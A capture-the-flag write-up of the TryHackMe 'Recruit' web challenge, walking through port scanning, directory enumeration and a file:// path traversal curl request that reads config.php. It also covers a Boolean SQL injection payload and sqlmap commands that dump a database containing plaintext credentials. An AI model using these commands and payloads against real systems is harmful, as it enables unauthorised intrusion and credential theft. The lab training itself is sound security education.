Recruit Web Challenge — TryHackMe
TL;DR
The Recruit web application exposed several weaknesses that could be chained together.
Reconnaissance revealed an accessible mail log, a documented file retrieval endpoint and an exposed
phpMyAdmin installation. The mail log disclosed that the HR credentials were stored in
config.php.
A path traversal vulnerability in the cv parameter of file.php allowed
the configuration file to be read, revealing the HR password and providing access to the first flag.
After authenticating as HR, the search parameter in the dashboard was found to be
vulnerable to SQL injection. SQLMap was then used to extract the administrator credentials from the
recruit_db database, allowing access to the second flag.
Challenge Overview
The target was the Recruit Web Challenge on TryHackMe.
The main application presented a login page for a recruitment management platform.
An additional interface was available through api.php.
Network Reconnaissance
I first performed a full TCP port scan to identify the services exposed by the target.
nmap -p- -T4 10.64.164.197
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-07-21 12:58 UTC Nmap scan report for ip-10-64-164-197.ec2.internal (10.64.164.197) Host is up (0.00025s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 53/tcp open domain 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 1.20 seconds
A second scan was performed using default scripts, service version detection and operating system detection.
sudo nmap -sS -sV -sC -O -p 22,53,80 10.64.164.197
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 53/tcp open domain ISC BIND 9.16.1 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Recruit Service Info: OS: Linux
The scan identified three open ports:
22/tcp— OpenSSH 8.2p1.53/tcp— ISC BIND DNS server.80/tcp— Apache HTTP Server 2.4.41.
The application also created a PHPSESSID cookie without the
HttpOnly attribute.
Parameter Discovery
I used Arjun to search for hidden HTTP parameters on the application.
arjun -u http://target -t 10
This scan did not immediately reveal any useful hidden parameters.
Directory and File Discovery
I then used Feroxbuster to enumerate directories and files on the web server.
feroxbuster \ -u http://target -w ~/SecLists/Discovery/Web-Content/raft-medium-directories.txt -t 20
The scan identified several useful resources:
200 / # Homepage 200 /api.php # API endpoint 200 /mail/mail.log # Mail log 301 /assets/ # Directory 301 /mail/ # Directory listing 301 /javascript/ # JavaScript files 301 /phpmyadmin/ # phpMyAdmin exposed
Directory listing was enabled on multiple paths, including:
/assets//mail//assets/bootstrap-icons//assets/bootstrap-icons/css//assets/bootstrap-icons/fonts/
The most interesting discoveries were the mail log, the exposed API endpoint and the publicly accessible phpMyAdmin installation.
Information Disclosure Through the Mail Log
After discovering /mail/mail.log, I inspected its contents.
The log disclosed important internal information about the authentication system:
- The HR username was
hr. - The HR credentials were stored in the application configuration file,
config.php. - The administrator credentials were not stored in the application files.
- The administrator credentials were stored in the backend database.
This information provided a clear path for obtaining access to both accounts.
API Documentation Analysis
The API documentation referenced a file.php endpoint that accepted a
cv parameter.
Since the endpoint appeared to retrieve files based on user-controlled input, I tested whether it accepted absolute local file paths.
Path Traversal and Configuration File Disclosure
The cv parameter was vulnerable to path traversal and arbitrary local file disclosure.
I used the file:// URI scheme to request the application configuration file directly.
curl "http://target/file.php?cv=file:///var/www/html/config.php"
The server returned the contents of /var/www/html/config.php, exposing the password
associated with the hr user.
This vulnerability existed because the application passed user-controlled input to a file retrieval operation without restricting the file path or enforcing an allowlist.
HR Account Access and First Flag
With the username identified in the mail log and the password extracted from
config.php, I authenticated through the main login form as the HR user.
Successful authentication provided access to the HR dashboard and revealed the first challenge flag.
Exposed phpMyAdmin Interface
During directory enumeration, a phpMyAdmin installation was discovered at
/phpmyadmin/.
I initially tested the phpMyAdmin authentication form with SQL injection payloads.
These tests did not provide a direct authentication bypass. I therefore continued analysing the HR dashboard for other injection points.
SQL Injection Discovery
The HR dashboard contained a search feature that submitted a user-controlled
search parameter to the server.
Supplying a single quote caused the application to return a database error, indicating that the value was being inserted into an SQL query without safe parameterisation.
I tested the parameter with the following Boolean-based payload:
test' OR '1'='1
The payload changed the response and removed the previous SQL error, confirming that the
search parameter was vulnerable to SQL injection.
Database Enumeration with SQLMap
After confirming the vulnerability manually, I saved the HTTP request to
sql.txt and used SQLMap to enumerate the backend database.
sqlmap -r sql.txt -p search --dbs
An equivalent command using a URL directly would be:
sqlmap -u "http://target/?search=test" -p search --dbs --batch
SQLMap identified the backend as MySQL and returned six databases:
[INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu web application technology: Apache 2.4.41 back-end DBMS: MySQL available databases [6]: [*] information_schema [*] mysql [*] performance_schema [*] phpmyadmin [*] recruit_db [*] sys
The application-specific database was recruit_db.
Enumerating the Users Table
I inspected the columns of the users table inside
recruit_db.
sqlmap -r sql.txt -p search -D recruit_db -T users --columns
Database: recruit_db Table: users +----------+--------------+ | Column | Type | +----------+--------------+ | id | int | | password | varchar(100) | | username | varchar(50) | +----------+--------------+
I then dumped the contents of the database.
sqlmap -r sql.txt -D recruit_db --dump-all
The candidates table contained recruitment records:
Database: recruit_db Table: candidates +----+---------------+--------------+--------------------+ | id | name | status | position | +----+---------------+--------------+--------------------+ | 1 | Alice Johnson | Approved | Frontend Developer | | 2 | Bob Smith | Under Review | Backend Developer | | 3 | Charlie Brown | Rejected | Security Analyst | | 4 | Diana Prince | Selected | HR Executive | +----+---------------+--------------+--------------------+
More importantly, the users table contained the administrator credentials:
Database: recruit_db Table: users +----+----------------+----------+ | id | password | username | +----+----------------+----------+ | 1 | admin@001admin | admin | +----+----------------+----------+
The application stored the administrator password in plaintext, allowing it to be used immediately after extraction.
Administrator Access and Final Flag
I returned to the application login page and authenticated with the administrator credentials extracted from the database.
Successful administrator authentication revealed the second and final challenge flag.
Attack Chain
- Enumerated the target and identified SSH, DNS and HTTP services.
- Discovered
api.php,mail/mail.logand/phpmyadmin/. - Read the exposed mail log and identified the HR username and credential storage location.
- Abused the
cvparameter infile.phpto retrieveconfig.php. - Extracted the HR password and authenticated to obtain the first flag.
- Identified SQL injection in the authenticated dashboard search feature.
- Used SQLMap to enumerate
recruit_dband dump the administrator credentials. - Authenticated as the administrator and obtained the final flag.